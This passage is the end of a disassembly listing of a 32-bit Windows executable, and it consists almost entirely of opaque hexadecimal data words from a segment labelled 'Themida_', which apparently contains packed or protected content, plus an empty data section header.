		dd 66F7B70Fh, 986FD781h, 8BFFB70Fh, 0CEBF0FD7h,	82974FBAh
		dd 0CE90Bh, 0C0500000h,	65929D6Ch, 9868573h, 8D0F8203h
		dd 5, 0A6C989BAh, 6E949h, 0BB050000h, 34D295C1h, 9BE18166h
		dd 18800F3Ch, 51000000h, 10E8h,	0C74CF600h, 80692EC3h
		dd 0AEC4A064h, 0D869961Bh, 605F5836h, 60CBBF0Fh, 8BD8B70Fh
		dd 0E96161F2h, 0Ah, 769B30EDh, 0A0F4883Eh, 0FF8E1B4h, 1382h
		dd 0EE900h, 0B0790000h,	7491FAF9h, 0A10D2248h, 33605A03h
		dd 5870Fh, 81660000h, 81DE00D1h, 8833C4C6h, 12CA8150h
		dd 0F2500A2h, 98Fh, 3830F00h, 66000000h, 0D38AD68Bh, 89D38166h
		dd 0D2B70F7Ah, 0ECB86653h, 0E1815EE3h, 57EBEF39h, 8E8F5h
		dd 9DFF0000h, 0ABC89AB3h, 5E8C5A0h, 74000000h, 0F616EC39h
		dd 0F7DBBA66h, 0FE95F59h, 3A000000h, 5D1912FEh,	13C51F05h
		dd 2BA79F00h, 0CE91A33h, 84000000h, 6B73231Ch, 91205944h
		dd 0FE932E2h, 282h, 80D68B00h, 8A0F11C0h, 1, 9E8F5FCh
		dd 28000000h, 0F435DF7h, 0D5F3FF29h, 0C78B665Fh, 53FA8B66h
		dd 5870Fh, 81660000h, 5E0210D7h, 0B898BF66h, 70A2BA66h
		dd 0B8DFB70Fh, 3553A601h, 0E9D6BF0Fh, 7, 134FA557h, 66F4A6F2h
		dd 0F08BDE8Bh, 51B5F181h, 0F1817D38h, 7BF33788h, 8C0Fh
		dd 0DD8A0000h, 5852F88Bh, 0F05CE80h, 32B9C8BFh,	0F460E5Fh
		dd 9E9D9B7h, 0A000000h,	2317184Ah, 320497BCh, 81D1B70Fh
		dd 0EAF305F0h, 5FD0816Dh, 0F68EF0Ch, 588h, 96C4BA00h, 0BE8674Ah
		dd 2F000000h, 54A55A76h, 67D05BC9h, 8B66666Ah, 0F8F859FEh
		dd 860Fh, 0E9600000h, 12h, 10DA6AB3h, 1BA56B12h, 382D0F67h
		dd 15D3DFCh, 0BA6694EDh, 0B961BEFCh, 2CE3814Ah,	0DCB21DBEh
		dd 0FEBF0F0Fh, 6806DA81h, 0FA8B4DE9h, 0B2F7BF0Fh, 51F18B2Eh
		dd 8F0Fh, 815E0000h, 0E1DCE1C6h, 5DCB8040h, 2860FFCh, 8A000000h
		dd 0F9BF0FFCh, 0E8DBBF0Fh, 14h,	55A615D4h, 0D921A529h
		dd 416E03D5h, 3A93E901h, 9EED73CDh, 151430BAh, 0BF0F593Dh
		dd 0F78B66D0h, 0E98166F5h, 0B70F1299h, 6E852CEh, 0AB000000h
		dd 3DECCE3Bh, 5477B84Dh, 5B5813C8h, 8820Fh, 880F0000h
		dd 2, 0DF8BF18Bh, 7E9h,	352AF500h, 0E9C51D48h, 14E9h, 0ADF7E00h
		dd 0FCADC123h, 53A458C0h, 283C87EEh, 8056B9AFh,	7AB966CBh
		dd 0DF8BF88Bh, 58B0Fh, 49B90000h, 0F1E670Eh, 138Fh, 0EE900h
		dd 39E50000h, 0D9374A93h, 3F19D413h, 8C0FE0BDh,	5820Fh
		dd 23BE0000h, 602D7B5Ah, 8C0Fh,	66610000h, 0CAB9E681h
		dd 0B8FFB70Fh, 1CDE7E09h, 13870FF8h, 0E9000000h, 0Eh, 8F1C905Bh
		dd 9682F6B9h, 48252802h, 8166E46Dh, 0BA3056EEh,	7BBA0343h
		dd 391BF081h, 81662343h, 66D249C7h, 0E84E43B9h,	0Bh, 3E590AFDh
		dd 729F2589h, 8B14E2ABh, 8D0F59FBh, 0
		dd 0E28166F5h, 0E9F8195Bh, 0Ch,	70D259B6h, 0D0170FF1h
		dd 0E65B8723h, 8FE28152h, 5E473158h, 0C8B70F51h, 3800F59h
		dd 66000000h, 0FE9C68Bh, 8000000h, 14823C81h, 68258845h
		dd 4258BED9h, 0E6B83731h, 0F831FB0Fh, 10D83DB9h, 0DAB70F0Fh
		dd 0FCFC83B0h, 0AE9h, 8F5D0B00h, 95945850h, 0BB67DBB7h
		dd 63FC5381h, 0BE9h, 0D0B11200h, 43E6E27Dh, 0EDE664CEh
		dd 0BF0FCE8Bh, 14BE66C6h, 0D78166F9h, 3B205BFh,	8E9h, 0B14A3D00h
		dd 189F4B78h, 0F7BF0F52h, 0DCFD23BBh, 6D50B90Ch, 0CE84D99h
		dd 0D6000000h, 0C9889955h, 0C23544F7h, 56600CFAh, 870Fh
		dd 5A590000h, 0CC3F2D4Ch, 1B2h dup(0CC3F2D4Dh),	87D8CB4Dh
		dd 566h	dup(87D8CD47h),	94D8CD47h, 57h dup(9A204788h)
		dd 8FF24788h, 9Bh dup(8FF1604Ch), 900F604Ch, 1D6h dup(900F15B9h)
		dd 61D415B9h, 19Fh dup(61D56EC3h), 87Bh	dup(0CCCCCCCCh)
		dd 3F4h	dup(0)
Themida_	ends

; Section 5. (virtual address 001AD000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 001AD000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 5AD000h
		align 2000h
_idata2		ends


		end start